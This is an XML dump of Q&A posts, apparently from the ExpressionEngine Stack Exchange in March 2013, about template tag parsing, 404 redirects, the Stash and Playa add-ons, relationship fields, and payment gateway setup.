  <row Id="7544" PostTypeId="2" ParentId="7340" CreationDate="2013-03-20T15:19:33.853" Score="0" Body="&lt;p&gt;It sounds like there is an outer module tag being parsed first — with a {count} variable equal to 1. (So, the inner Channel Entries tag doesn't ever have a chance to parse its own {count} variables, because all it sees is &quot;1&quot; in the tagdata.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be easier to help you troubleshoot if you could post enough of your template that we could see the opening and closing of all EE tags...&lt;/p&gt;&#xA;" OwnerUserId="262" LastActivityDate="2013-03-20T15:19:33.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7545" PostTypeId="1" AcceptedAnswerId="7547" CreationDate="2013-03-20T15:24:31.160" Score="1" ViewCount="561" Body="&lt;p&gt;I'm having trouble getting 404 pages to work. In Global Template Preferences I've set strict urls to yes (tried No as well) and have selected my 404 template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code on a single entry page is as follows.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;services&quot; disable=&quot;member_data|pagination|category_fields&quot; limit=&quot;1&quot; require_entry=&quot;yes&quot;}&#xA;&#xA;{if no_results}&#xA;    {redirect=&quot;404&quot;}&#xA;{/if}&#xA;&#xA;more code here&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As far as I can tell this should go to a 404 page if I change the url to a non-existing url_title in the final segment. What happens instead is the page displays including header, footer and sidebar, but the content is empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--UPDATE--&#xA;full template code is in a &lt;a href=&quot;http://pastie.org/private/v010n3msxu1bden6denqhw#19&quot; rel=&quot;nofollow&quot;&gt;pastie here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="15" LastEditDate="2013-03-20T15:37:31.673" LastActivityDate="2014-09-16T23:35:00.063" Title="404 not working as expected" Tags="|404|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7546" PostTypeId="2" ParentId="7545" CreationDate="2013-03-20T15:29:54.293" Score="1" Body="&lt;p&gt;If you remove the {redirect=&quot;404&quot;} from the conditional, and instead put something like 'no content' - does it show that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;whats the template group/page structure look like? I'm assuming you've got a 'services.group' and then servicing this code from an index.html (which is as I understand strict urls should work).&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2013-03-20T15:29:54.293" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7547" PostTypeId="2" ParentId="7545" CreationDate="2013-03-20T15:40:53.727" Score="3" Body="&lt;p&gt;You'll need &lt;code&gt;{if switchee_no_results}{redirect=&quot;404&quot;}{/if}&lt;/code&gt; if nested inside switchee, due to switchee's &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-03-20T15:40:53.727" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7548" PostTypeId="1" CreationDate="2013-03-20T16:35:38.683" Score="2" ViewCount="110" Body="&lt;p&gt;I want to pass the &quot;series_entry_id&quot; created in the exp:playa:parents tag as the parent_id of the exp:playa:siblings tag, but it is not parsing the &quot;series_entry_id&quot;. I am not sure if there is a better, more efficient way of doing this. Any help is greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list&#xA;    name=&quot;sermon&quot;&#xA;    parse_tags=&quot;yes&quot;&#xA;    parse_depth=&quot;2&quot;&#xA;    parse_conditionals=&quot;yes&quot;&#xA;}&#xA;&#xA;    {exp:channel:entries&#xA;        channel=&quot;media&quot;&#xA;        dynamic=&quot;no&quot;&#xA;        disable=&quot;categories|category_fields|member_data&quot;&#xA;        orderby=&quot;date&quot;&#xA;        url_title=&quot;{segment_3}&quot;&#xA;        limit=&quot;1&quot;&#xA;    }&#xA;&#xA;        {stash:entry_id}{entry_id}{/stash:entry_id}&#xA;        {stash:title}{title}{/stash:title}&#xA;        {stash:url_title}{url_title}{/stash:url_title}&#xA;        {stash:speaker}{speaker}{/stash:speaker}&#xA;        {stash:description}{description}{/stash:description}&#xA;        {stash:vimeo_id}{vimeo_id}{/stash:vimeo_id}&#xA;        {stash:message_number}{message_number}{/stash:message_number}&#xA;        {stash:transcript_file}{transcript_file}{/stash:transcript_file}&#xA;        {stash:transcript_embed}{transcript_embed}{/stash:transcript_embed}&#xA;        {stash:entry_date}{entry_date}{/stash:entry_date}&#xA;&#xA;        {!-- Get Series Data --}&#xA;        {exp:playa:parents channel=&quot;sermon_series&quot; limit=&quot;1&quot;}&#xA;            {stash:series_entry_id}{entry_id}{/stash:series_entry_id}&#xA;            {stash:series_title}{title}{/stash:series_title}&#xA;            {stash:series_url_title}{url_title}{/stash:series_url_title}&#xA;            {stash:series_graphic}{series_graphic}{/stash:series_graphic}&#xA;        {/exp:playa:parents}&#xA;&#xA;        {!-- Get Series Siblings --}&#xA;        {exp:stash:set_list:nested&#xA;            name=&quot;siblings&quot;&#xA;            parse_tags=&quot;yes&quot;&#xA;        }&#xA;&#xA;            {exp:playa:siblings entry_id=&quot;{entry_id}&quot; parent_id=&quot;{series_entry_id}&quot;}&#xA;                {stash:sibling_url_title}{url_title}{/stash:sibling_url_title}&#xA;                {stash:sibling_title}{title}{/stash:sibling_title}&#xA;                {stash:sibling_entry_date}{entry_date}{/stash:sibling_entry_date}&#xA;            {/exp:playa:siblings}&#xA;&#xA;        {/exp:stash:set_list:nested}&#xA;&#xA;    {/exp:channel:entries}&#xA;&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1204" LastEditorUserId="456" LastEditDate="2013-03-20T18:57:45.847" LastActivityDate="2013-03-20T19:10:30.077" Title="Trying to pass a Stash variable to a Playa tag" Tags="|playa|stash|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7549" PostTypeId="2" ParentId="7539" CreationDate="2013-03-20T17:06:27.643" Score="1" Body="&lt;p&gt;I just saw your question, and decided to release an add-on I wrote a few years ago for my own documentation: &lt;a href=&quot;https://bitbucket.org/causingeffect/ce-highlight&quot; rel=&quot;nofollow&quot;&gt;CE Highlight&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The add-on has the ability to optionally style the output, use line numbers, highlight specific lines, and a few other things. It leverages Geshi for the heavy lifting. I hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="936" LastEditorUserId="936" LastEditDate="2013-03-20T18:06:51.973" LastActivityDate="2013-03-20T18:06:51.973" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7550" PostTypeId="2" ParentId="7501" CreationDate="2013-03-20T17:46:13.930" Score="1" Body="&lt;p&gt;You can definitely use Postmaster for this. You can use Postmaster to send emails for just about anything. Postmaste does a lot more than MX Notify Control, since Postmaster can be extended and passes a lot more variables to the templates, and can perform any amount of custom logic needed should you create your own hooks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have attached a screenshot of the available hooks. These hooks are the existing PHP classes included with Postmaster that extend the EE hooks to pass custom variables when specific hooks are triggered.  If the desired hook doesn't exist and you need to pass custom variables to the template, you can use the &lt;a href=&quot;https://objectivehtml.com/postmaster/api/hooks&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hook API&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the reference for the &lt;a href=&quot;https://objectivehtml.com/postmaster/hooks/profile-edit-end&quot; rel=&quot;nofollow noreferrer&quot;&gt;Profile:Edit Edit Profile Hook&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qY8H4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;On a side note, I just noticed that the User Defined Hook appears twice in the list. This is a bug, I will fix it for the next maintenance release.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-03-20T17:46:13.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7551" PostTypeId="2" ParentId="7469" CreationDate="2013-03-20T17:50:46.173" Score="1" Body="&lt;p&gt;While not a free solution, it's possible to do this with Postmaster. Postmaster is highly extendible and provides a rich full-featured API for you to send email for just about anything. Templates can be highly dynamic, and if the desired functionality doesn't exist, just use the API to create exactly what you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://objectivehtml.com/postmaster&quot; rel=&quot;nofollow&quot;&gt;https://objectivehtml.com/postmaster&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-03-20T17:50:46.173" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7552" PostTypeId="1" AcceptedAnswerId="7563" CreationDate="2013-03-20T17:53:22.767" Score="2" ViewCount="150" Body="&lt;p&gt;While I wait for &lt;a href=&quot;http://pixelandtonic.com/playa&quot; rel=&quot;nofollow&quot;&gt;Playa&lt;/a&gt; to be approved for use in my project, I've put together this structure to enable cross-referencing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3 Channels:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;products&lt;/li&gt;&#xA;&lt;li&gt;all_colors&lt;/li&gt;&#xA;&lt;li&gt;product_colors&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The all_colors channel just has a file fieldtype set for images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The product_colors channel just has 2 relationship fields: related_products and related_colors. So, for each product (products), we want to be able to select a number of colors (all_colors), and we do that through the cross-reference (product_colors).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; limit=&quot;1&quot; }&#xA;&amp;lt;div id=&quot;hero&quot;&amp;gt;&amp;lt;img src=&quot;{hero_image}&quot; /&amp;gt;&amp;lt;/div&amp;gt;&#xA;{embed='includes/topnav'}&#xA;{if no_results}&#xA;&amp;lt;p&amp;gt;Unknown product.&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&amp;lt;div id=&quot;prodinfo&quot;&amp;gt;&#xA;    &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;description&quot; class=&quot;desc&quot;&amp;gt;{product_description}&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div id=&quot;productcolors&quot;&amp;gt;&#xA;    &amp;lt;ul id=&quot;prodcolors&quot;&amp;gt;&#xA;        {reverse_related_entries channel=&quot;product_colors&quot;}&#xA;        &amp;lt;li&amp;gt;&#xA;            Related Product: {related_product}&amp;lt;br&amp;gt;&#xA;            Related Color: {related_color}&#xA;        &amp;lt;/li&amp;gt;&#xA;        {related_entries id=&quot;related_color&quot;}&#xA;        &amp;lt;li&amp;gt;&amp;lt;img src=&quot;{color_swatch}&quot; /&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/related_entries}&#xA;        {/reverse_related_entries}&#xA;    &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt; &amp;lt;!-- END #prodinfo --&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here's the output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Related Product: 19&#xA;Related Color:&#xA;{REL[20][related_color]jPUgzXDsREL}&#xA;Related Product: 17&#xA;Related Color:&#xA;{REL[18][related_color]jPUgzXDsREL} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first LI is just for debugging purposes. The funky looking token in the curly braces changes on every request. I've no idea where it comes from. The template doesn't even produce my img tag, or the second LI, for that matter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[EDIT] Why is the Related Color coming out empty? [/EDIT]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong? Can this even be done with EE out-of-the-box?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="1126" LastEditorUserId="1126" LastEditDate="2013-03-20T19:33:36.197" LastActivityDate="2013-03-20T21:18:31.377" Title="Cross-Referenced Relationships" Tags="|templates|relationships|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7553" PostTypeId="2" ParentId="7525" CreationDate="2013-03-20T17:55:38.593" Score="2" Body="&lt;p&gt;Kevin - first thing, please update Assets to 2.0.5.  Second, can you try adding this to your /system/expressionengine/config/config.php please? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;$config['assets_site_url'] = '/index.php'; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please let me know if either or both of those get you up and running!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-03-20T17:55:38.593" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7554" PostTypeId="2" ParentId="7548" CreationDate="2013-03-20T18:54:32.080" Score="0" Body="&lt;p&gt;I'm not certain, but maybe try a higher &lt;code&gt;parse_depth&lt;/code&gt; on your very first &lt;code&gt;{stash:set_list}&lt;/code&gt; tag. Try &lt;code&gt;parse_depth=3&lt;/code&gt; or &lt;code&gt;parse_depth=4&lt;/code&gt; maybe? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list&#xA;  name=&quot;sermon&quot;&#xA;  parse_tags=&quot;yes&quot;&#xA;  parse_depth=&quot;4&quot;&#xA;  parse_conditionals=&quot;yes&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I find I typically have to bump up the &lt;code&gt;parse_depth&lt;/code&gt; if I'm using a Playa tag in a &lt;code&gt;channel:entries&lt;/code&gt; tag in Stash.&lt;/p&gt;&#xA;" OwnerUserId="456" LastActivityDate="2013-03-20T18:54:32.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7555" PostTypeId="2" ParentId="7552" CreationDate="2013-03-20T18:54:53.100" Score="1" Body="&lt;p&gt;Doing this without Playa will be a world of pain. Without it I think there are two ways:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, (and this is really bad for performance, but here it is anyway)... using an embedded template in place of the &lt;code&gt;related_entries&lt;/code&gt; tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    ...&#xA;    &amp;lt;ul id=&quot;prodcolors&quot;&amp;gt;&#xA;      {reverse_related_entries channel=&quot;product_colors&quot;}&#xA;        &amp;lt;li&amp;gt;&#xA;            Related Product: {related_product}&amp;lt;br&amp;gt;&#xA;            Related Color: {related_color}&#xA;        &amp;lt;/li&amp;gt;            &#xA;        {embed=&quot;related-color&quot; entry_id=&quot;{entry_id}&quot;}&#xA;      {/reverse_related_entries}&#xA;    &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Embedded 'related-color' template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries entry_id=&quot;{embed:entry_id}&quot; dynamic=&quot;no&quot;}&#xA;   {related_entries id=&quot;related_color&quot;}&#xA;     &amp;lt;li&amp;gt;&amp;lt;img src=&quot;{color_swatch}&quot; /&amp;gt;&amp;lt;/li&amp;gt;&#xA;   {/related_entries}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second way would be to do some gymnastics with &lt;a href=&quot;https://github.com/croxton/Stash/&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt; to avoid calling the embed per-entry. I tried to come up with a working example of that, but it's really complicated - you're much better off just getting Playa! (Writing a custom plugin would be simpler than what you'd need to do with Stash here).&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-03-20T18:54:53.100" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7556" PostTypeId="2" ParentId="7548" CreationDate="2013-03-20T19:10:30.077" Score="2" Body="&lt;p&gt;The &lt;code&gt;series_entry_id&lt;/code&gt; variable is not defined at the point you're calling it. Try simplifying by avoiding the nesting. The siblings tag doesn't need to be inside the channel entries tag since you have already stashed the &lt;code&gt;entry_id&lt;/code&gt; and can use that outside the loop. (Alternatively you might be able to get a quick win with a few well-placed &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt; parameters, but personally I find them to be too black-magicky). Something like this perhaps:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list&#xA; name=&quot;sermon&quot;&#xA; parse_tags=&quot;yes&quot;&#xA; parse_depth=&quot;2&quot;&#xA; parse_conditionals=&quot;yes&quot;&#xA;}&#xA;  {exp:channel:entries&#xA;    channel=&quot;media&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    disable=&quot;categories|category_fields|member_data&quot;&#xA;    orderby=&quot;date&quot;&#xA;    url_title=&quot;{segment_3}&quot;&#xA;    limit=&quot;1&quot;&#xA;  }&#xA;    {stash:entry_id}{entry_id}{/stash:entry_id}&#xA;    {stash:title}{title}{/stash:title}&#xA;    {stash:url_title}{url_title}{/stash:url_title}&#xA;    {stash:speaker}{speaker}{/stash:speaker}&#xA;    {stash:description}{description}{/stash:description}&#xA;    {stash:vimeo_id}{vimeo_id}{/stash:vimeo_id}&#xA;    {stash:message_number}{message_number}{/stash:message_number}&#xA;    {stash:transcript_file}{transcript_file}{/stash:transcript_file}&#xA;    {stash:transcript_embed}{transcript_embed}{/stash:transcript_embed}&#xA;    {stash:entry_date}{entry_date}{/stash:entry_date}&#xA;&#xA;    {!-- Get Series Data --}&#xA;    {exp:playa:parents channel=&quot;sermon_series&quot; limit=&quot;1&quot;}&#xA;        {stash:series_entry_id}{entry_id}{/stash:series_entry_id}&#xA;        {stash:series_title}{title}{/stash:series_title}&#xA;        {stash:series_url_title}{url_title}{/stash:series_url_title}&#xA;        {stash:series_graphic}{series_graphic}{/stash:series_graphic}&#xA;    {/exp:playa:parents}&#xA;&#xA;  {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;{exp:stash:get_list name=&quot;sermon&quot;}&#xA;    {!-- Get Series Siblings --}&#xA;    {exp:stash:set_list&#xA;        name=&quot;siblings&quot;&#xA;        parse_tags=&quot;yes&quot;&#xA;    }&#xA;        {exp:playa:siblings entry_id=&quot;{entry_id}&quot; parent_id=&quot;{series_entry_id}&quot;}&#xA;            {stash:sibling_url_title}{url_title}{/stash:sibling_url_title}&#xA;            {stash:sibling_title}{title}{/stash:sibling_title}&#xA;            {stash:sibling_entry_date}{entry_date}{/stash:sibling_entry_date}&#xA;        {/exp:playa:siblings}&#xA;&#xA;    {/exp:stash:set_list}&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-03-20T19:10:30.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7557" PostTypeId="2" ParentId="7266" CreationDate="2013-03-20T19:22:50.363" Score="1" Body="&lt;p&gt;Try changing {tour_options} to simply {options} -- it's should loop through using CartThrob's options loop, not your custom field name's loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the $5, that's possibly due to a global shipping setting. Check your CT shipping settings and see if $5 is being added there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, it might also be a global tax thing possibly as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does that help?&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2013-03-20T19:22:50.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7558" PostTypeId="2" ParentId="7526" CreationDate="2013-03-20T19:30:02.780" Score="0" Body="&lt;p&gt;@Benny - as the client is on a tight budget, you're working for free, and they don't yet know how much in donations they are likely to receive, I'd suggest looking at the direct payment methods offers by nonprofit_tech (Paypal, Amazon, Google). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are easy to set up and can get your client up and running quickly. Let it run for a while and monitor the clients income, ,if to see if there are finances (or your time) available at a later date, you can look at enhancing things.&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2013-03-20T19:30:02.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7559" PostTypeId="2" ParentId="7528" CreationDate="2013-03-20T19:36:54.647" Score="-1" Body="&lt;p&gt;The data in the feed is fixed so you can'r adjust it. One thought would be to try the &lt;a href=&quot;http://devot-ee.com/add-ons/eevent-helper&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/eevent-helper&lt;/a&gt; addon which lets you use a custom field for the event date(s), you could map the entry date to that field which should give you the &quot;correct&quot; time to play with. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would mean adjusting your templates to use the addons date instead of the entry date, also new imports entry dates would be set to the time of the import.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Might be doable that way.&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2013-03-20T19:36:54.647" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7560" PostTypeId="2" ParentId="7465" CreationDate="2013-03-20T19:38:44.280" Score="1" Body="&lt;p&gt;Have you tried the paginate_base parameter? - &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#paginate-base&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#paginate-base&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;paginate_base=&quot;/&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;may work?&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2013-03-20T19:38:44.280" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7561" PostTypeId="2" ParentId="7340" CreationDate="2013-03-20T19:39:20.310" Score="1" Body="&lt;p&gt;Just confirm that the Structure URL Alias break the native EE Tags. Structure URL Alias v1.3.1 fix this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you download the latest version and test it, there are no databases changes, just code changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/structure-url-alias&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/structure-url-alias&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please let me know if there are any troubles.&lt;/p&gt;&#xA;" OwnerUserId="6" LastActivityDate="2013-03-20T19:39:20.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7562" PostTypeId="1" CreationDate="2013-03-20T19:56:30.250" Score="1" ViewCount="117" Body="&lt;p&gt;Is there a difference in US based Moneris accounts and CA based Moneris accounts in terms of API integration / payment gateway plugin usage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Client has a US-based account, but my developer cannot get it to work with the current plugin (which, according to Moneris, appear to be trying to access the CA-based API).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sam&lt;/p&gt;&#xA;" OwnerUserId="487" LastActivityDate="2013-03-20T21:32:56.443" Title="Cartthrob 2 / Moneris Payment Gateway" Tags="|cartthrob|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7563" PostTypeId="2" ParentId="7552" CreationDate="2013-03-20T21:18:31.377" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Why is the Related Color coming out empty?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Because when a Relationship field is used as a single tag (&lt;code&gt;{related_color}&lt;/code&gt;), it doesn't know what to output (as its just a pointer to another entry). Relationships fields can &lt;em&gt;only&lt;/em&gt; be output using the &lt;code&gt;{related_entries id=&quot;field_name&quot;}&lt;/code&gt; tag pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you're getting in your output is the cached relationship data stored in the field, which is only properly decoded when you use the &lt;code&gt;{related_entries}&lt;/code&gt; tag pair. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, &lt;code&gt;related_entries&lt;/code&gt; tags cannot be used inside &lt;code&gt;reverse_related_entries&lt;/code&gt; tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now, &lt;a href=&quot;https://expressionengine.stackexchange.com/a/7555/55&quot;&gt;James' answer&lt;/a&gt; of using an embed is the way to go if you have to stay native to EE.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-03-20T21:18:31.377" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7564" PostTypeId="2" ParentId="7562" CreationDate="2013-03-20T21:32:56.443" Score="1" Body="&lt;p&gt;There are two API's for Moneris: one for the Canada payment gateway and one for the USA payment gateway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;#1. To use the USA gateway you will need to first download the Moneris USA API.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Both the USA API and Canada API can be downloaded from &lt;a href=&quot;http://developer.moneris.com&quot; rel=&quot;nofollow&quot;&gt;http://developer.moneris.com&lt;/a&gt; (free registration required)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;#2. Once you have the USA API you then need to make some minor changes to your code so that it works with the USA API. Refer to the sample code that comes with the USA API in order to identify the exact changes that you need to make.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Here's an example change that you need to make if you do purchase transactions: change the transaction type from purchase to us_purchase.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1205" LastActivityDate="2013-03-20T21:32:56.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7565" PostTypeId="1" AcceptedAnswerId="7608" CreationDate="2013-03-20T21:38:17.063" Score="1" ViewCount="193" Body="&lt;p&gt;I know I can use different shipping and billing addresses for an order, which is stored by member purchasing but I wanted to see what was the best way to do the following: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have one billing address, and be able to store multiple shipping addresses, being able to choose the one I want when I get to the checkout process in this part. A lot like an Amazon-type effort, bill all the time to the same person, ship to different stored addresses. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am thinking this might be a plugin added to it, or if anyone has already done it, could you point me in the right direction?&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="2539" LastEditDate="2013-12-30T13:05:49.613" LastActivityDate="2013-12-30T13:05:49.613" Title="Expresso Store — multiple shipping addresses?" Tags="|expresso-store|plugin|shipping|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7566" PostTypeId="1" CreationDate="2013-03-20T21:45:23.760" Score="1" ViewCount="792" Body="&lt;p&gt;&lt;strong&gt;I'm in need of a solution to have this output:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;My Title &amp;lt;sup&amp;gt;&amp;amp;reg;&amp;lt;/sup&amp;gt;&amp;lt;/h1&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;And in my template I have this:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was thinking that I could search for all &lt;code&gt;&amp;amp;regs;&lt;/code&gt; within an &lt;code&gt;h1&lt;/code&gt; then wrap it with the &lt;code&gt;&amp;amp;reg;&lt;/code&gt; with the &lt;code&gt;&amp;lt;sup&amp;gt;&lt;/code&gt; tag using jQuery. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe i'm looking for something to not strip HTML from the title tag? Does anyone have any other solutions?&lt;/p&gt;&#xA;" OwnerUserId="134" LastActivityDate="2013-03-21T15:28:51.930" Title="How to inject inline HTML tags into the &quot;Title&quot; field" Tags="|templates|html|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
